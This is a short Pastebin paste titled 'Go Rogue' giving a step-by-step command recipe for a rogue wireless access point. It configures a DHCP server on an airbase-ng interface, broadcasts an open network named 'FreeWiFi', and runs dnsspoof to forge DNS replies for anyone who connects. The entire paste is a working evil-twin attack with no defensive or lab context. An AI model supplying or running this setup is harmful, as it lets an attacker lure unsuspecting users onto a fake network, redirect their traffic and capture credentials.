int0x76

Go Rogue

May 10th, 2014
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. sudo apt-get install isc-dhcp-server
  2. sudo nano /etc/dhcp/dhcpd.conf
  3. ddns-updates on;
  4. ddns-update-style interim;
  5. default-lease-time 600;
  6. max-lease-time 7200;
  7. option broadcast-address 192.168.2.255;
  8. option routers 192.168.2.1;
  9. option domain-name-servers 192.168.2.1;
  10. subnet 192.168.2.0 netmask 255.255.255.0 {
  11. interface at0;
  12. range 192.168.2.50 192.168.2.100;
  13. option subnet-mask 255.255.255.0;
  14. option broadcast-address 192.168.2.255;
  15. }
  16.  
  17. sudo nano /etc/default/isc-dhcp-server
  18. INTERFACES="at0"
  19.  
  20. sudo nano /etc/network/interfaces
  21. auto at0
  22. iface at0 inet static
  23. address 192.168.2.1
  24. netmask 255.255.255.0
  25.  
  26. airmon-ng start wlan0
  27. airbase-ng -c 1 --essid FreeWiFi mon0
  28. sudo ifup at0
  29. service isc-dhcp-server start
  30. dnsspoof -i at0
Advertisement
Add Comment
Please, Sign In to add comment